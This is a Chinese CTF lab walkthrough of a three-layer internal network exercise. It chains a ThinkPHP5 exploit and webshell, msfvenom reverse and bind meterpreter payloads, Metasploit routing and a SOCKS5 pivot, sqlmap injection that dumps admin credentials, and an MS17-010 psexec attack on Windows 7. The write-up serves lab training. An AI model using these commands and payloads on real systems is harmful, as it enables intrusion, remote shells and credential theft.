CTF大赛模拟-CFS三层内网漫游
CTF大赛模拟-CFS三层内网漫游
环境：
三台虚拟机，三个网络。
文章图片
target 1:192.168.161.178 ,192.168.52.132 （linux）
target 2:192.168.52.133, 192.168.72.131 （linux）
target 3: 192.168.72.132 （win7）
攻击者只能与target 1进行通讯
外网打点
访问192.168.161.178:80
文章图片
发现是thinkphp5的版本
tp漏洞利用
用tp5检测工具
漏洞存在
写入后门：
echo '' > /www/wwwroot/ThinkPHP/public
/x.php
蚁剑连接
文章图片
得到第一个flag
文章图片
msf生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=kali的ip LPORT=1111 -f elf >t1.elf
文章图片
上传成功
msf监听：
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST kali的ip
set LPORT 1111
exploit
文章图片
上线成功
52网段主机发现
ipconfig查看ip信息
文章图片
发现存在52网段
添加路由：run autoroute -s 192.168.52.0/24
文章图片
开启本地代理：（创建SOCK5协议代理）
use auxiliary/server/socks5
set srvport 1080
exploit
文章图片
利用本地代理接口访问
在kali上修改/etc/proxychains.conf配置文件
文章图片
socks5 socks服务器ip 端口
kali使用proxychains nmap -sT -Pn 192.168.52.0/24 -p80
探针52网段存活主机
-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT：扫描TCP数据包已建立的连接connect
文章图片
存在ip 192.168.52.133 且80端口开放
本机利用代理工具SocksCap64，将浏览器加到代理上，这样用浏览器走的就是sock代理服务器
文章图片
访问网站
文章图片
sql注入
在源代码中找到提示该页面存在sql注入
文章图片
kali上使用代理sqlmap
proxychains sqlmap/sqlmap.py -u "http://192.168.52.128/index.php?r=vul&keyword=1"
打出后台账号密码
文章图片
登陆后台
http://192.168.52.128/index.php?r=admini/public/login
文章图片
文章图片
得到第二个flag
在模板中写入一句话后门
文章图片
设置蚁剑代理
文章图片
连接成功
文章图片
文章图片
得到第三个flag
准备msf上线该主机
文章图片
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
生成正向后门，因为反向目标找不到你的路由地址
设置监听
文章图片
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.128 目标ip
set LPORT 3333
exploit
72网段主机发现
msf上线 run get_local_subnets 获取网络接口
发现存在72网段
run autoroute -s 192.168.72.0/24 添加个72网段的路由
72网段主机发现
proxychains nmap -Pn -sT 192.168.72.0/24
文章图片
验证ms17010
use exploit/windows/smb/ms17_010_psexec
文章图片
set payload windows/meterpreter/bind_tcp //正向连接
set RHOSTS 192.168.72.132 //攻击目标
set RHOST 192.168.72.132 //连接目标
exploit
文章图片
获得最高权限
文章图片
【CTF大赛模拟-CFS三层内网漫游】得到flag
推荐阅读
- 蓝桥杯|【蓝桥真题】三十块的蓝桥省赛模拟真题
- 设计模式之（抽象工厂模式AbstractFactoryPattern的实现）
- 2022首场MASA技术团队黑客松赛事大赛完美落幕！精彩集锦
- BMZCTF|BMZCTF phar???
- vue如何使用模拟的json数据查看效果
- C语言|库函数《qsort》的模拟实现，原来如此简单
- c语言初学之路|【C语言】模拟实现库函数 strcpy(复制字符串内容) 与 strlen（求字符串长度）
- c语言|C语言中库函数的模拟实现
- c语言|(C语言)strstr库函数的简单使用以及模拟实现
- c语言|C语言-字符串库函数详解（含部分函数的模拟实现）